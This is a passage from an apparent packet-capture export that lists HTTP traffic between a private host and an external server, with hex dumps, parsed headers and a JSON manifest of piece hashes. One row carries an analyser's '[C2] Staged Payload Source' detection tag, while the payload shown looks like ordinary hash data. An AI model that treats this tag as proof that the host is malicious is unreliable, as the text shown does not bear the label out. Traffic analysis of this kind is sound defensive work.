2676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c75,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 64634, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 43246, \"\"src\"\": \"\"194.36.32.207\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64035, \"\"seq\"\": 4151454129, \"\"ack\"\": 2283203443, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 38273, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"127498\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Wed, 01 Jul 2026 09:19:58 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-fra-eddf8230151-FRA', b'X-Cache': b'HIT', b'X-Cache-Hits': b'1', b'X-Timer': b'S1778883249.512599,VS0,VE4', b'X-CID': b'10006', b'X-CCC': b'778445f1-a10e-47b0-a1c8-62eb3fc383cf', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\"\",\\\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\"\",\\\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\"\",\\\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\"\",\\\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\"\",\\\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\"\",\\\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\"\",\\\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\"\",\\\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\"\",\\\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\"\",\\\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\"\",\\\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\"\",\\\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\"\",\\\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\"\",\\\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\"\",\\\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\"\",\\\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\"\",\\\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\"\",\\\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\"\",\\\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\"\",\\\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu\"\"}}]\"\n2026-07-01 09:05:13.657465,34,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2283203443 Ack=4151458177,bc24112907bbbc2411360d0c08004500002828f8400080064c410a98980bc22420cffa2300508816eb73f77239815010040287490000,\".$.)...$.6\n...E..((.@...LA\n....$ ..#.P...s.r9.P....I..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19521, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203443, \"\"ack\"\": 4151458177, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 34633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:13.657539,35,TCP 194.36.32.207:80 -> 10.152.152.11:64035,194.36.32.207,10.152.152.11,80,64035,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=4151458177 Ack=2283203443,bc2411360d0cbc24112907bb080045000199fc7d40004006b74ac22420cf0a98980b0050fa23f77239818816eb735018003f8722000031667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\"1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 409, \"\"id\"\": 64637, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46922, \"\"src\"\": \"\"194.36.32.207\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64035, \"\"seq\"\": 4151458177, \"\"ack\"\": 2283203443, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 34594, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": 